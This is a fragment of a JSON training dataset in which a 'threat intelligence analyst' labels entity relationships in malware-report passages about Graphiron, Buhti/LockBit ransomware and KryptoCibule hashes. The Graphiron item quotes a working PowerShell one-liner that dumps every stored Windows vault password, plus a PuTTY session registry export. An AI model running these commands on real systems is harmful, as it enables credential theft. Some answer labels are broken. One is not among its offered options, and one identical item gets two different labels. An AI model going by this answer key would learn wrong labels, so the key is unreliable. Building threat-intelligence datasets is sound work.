+        "input": "### Source Entity:\nPowerShell\n### Target Entity: Windows\n### Possible Relationship Labels:\n['targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll()  % { $_.RetrievePassw_\n_ord();$_}  Select UserName, Resource, Password  Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nBuhti\n### Target Entity: Babuk\n### Possible Relationship Labels:\n['variant-of', 'uses', 'downloads', 'drops', 'controls', 'is not related to', 'not sure']\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n",
+        "output": "<label>variant-of</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nBuhti\n### Target Entity: Blacktail\n### Possible Relationship Labels:\n['authored-by', 'is not related to', 'not sure']\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nBuhti\n### Target Entity: PaperCut\n### Possible Relationship Labels:\n['targets', 'is not related to', 'not sure']\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit\n### Target Entity: Windows\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nBuhti\n### Target Entity: Linux\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nBuhti\n### Target Entity: Babuk\n### Possible Relationship Labels:\n['variant-of', 'uses', 'downloads', 'drops', 'controls', 'is not related to', 'not sure']\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nBuhti\n### Target Entity: Windows\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nBuhti: New Ransomware Operation Relies on Repurposed Payloads\nAttackers use rebranded variants of leaked LockBit and Babuk ransomware payloads but use own custom exfiltration tool.\nA relatively new ransomware operation calling itself Buhti appears to be eschewing developing its own payload and is instead utilizing variants of the leaked LockBit and Babuk ransomware families to attack Windows and Linux systems.\nWhile the group doesn\u2019t develop its own ransomware, it does utilize what appears to be one custom-developed tool, an information stealer designed to search for and archive specified file types.\nBuhti, which first came to public attention in February 2023, was initially reported to be attacking Linux computers. However, Symantec\u2019s Threat Hunter Team has also uncovered attempts to attack Windows computers on compromised networks.\nThe group appears to be quick to exploit recently disclosed vulnerabilities, with one recent attack exploiting the recently patched PaperCut vulnerability. Since Buhti hasn\u2019t been linked to any known cyber-crime group, Symantec has assigned the actor name Blacktail to its operators.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit 3.0\n### Target Entity: Syrphid\n### Possible Relationship Labels:\n['authored-by', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit 3.0\n### Target Entity: Bitwise Spider\n### Possible Relationship Labels:\n['authored-by', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit 3.0\n### Target Entity: LockBit\n### Possible Relationship Labels:\n['variant-of', 'uses', 'downloads', 'drops', 'controls', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>variant-of</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit\n### Target Entity: Syrphid\n### Possible Relationship Labels:\n['authored-by', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nSyrphid\n### Target Entity: C&C\n### Possible Relationship Labels:\n['uses', 'hosts', 'owns', 'compromises', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>owns</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit\n### Target Entity: Bitwise Spider\n### Possible Relationship Labels:\n['authored-by', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nBitwise Spider\n### Target Entity: C&C\n### Possible Relationship Labels:\n['uses', 'hosts', 'owns', 'compromises', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>owns</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>exfiltrates-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit\n### Target Entity: Windows\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nLockBit 3.0\n### Target Entity: Windows\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nBuhti\n### Target Entity: Windows\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nLockBit rebrand\nA recent Buhti attack saw the attackers attempt to deploy a ransomware payload against Windows computers on the targeted network. Analysis of the payload revealed that it was a minimally modified version of the leaked LockBit 3.0 (LockBit Black) ransomware.\nEncrypted files are appended with a .buthi extension. The ransom note can be seen in Figure 1.\nFigure 1. Buhti ransom note\nThe ransomware includes a feature that drops a LockBit-branded .bmp file (Figure 2) and makes it the Windows wallpaper, but this functionality was disabled by the attackers.\nFigure 2. Embedded LockBit-branded BMP file found in Buhti payload\nThe ransomware also has the capability to send system information about the infected computer to a command-and-control (C&C) server, but this functionality is also disabled and no C&C server is specified.\nLockBit 3.0 was developed for the Syrphid cyber-crime group (Bitwise Spider), which is the operator of the LockBit ransomware. The builder for the ransomware was leaked in September 2022, allegedly by a disgruntled developer.\n",
+        "output": "<label>targets</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n352743EBE6A0638CC0614216AD000B6A43C4D46E\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\n3BCEF852639F85803974943FC34EFF2D6D7D916D\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nSetup.exe\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>indicates</label>"
+    },
+    {
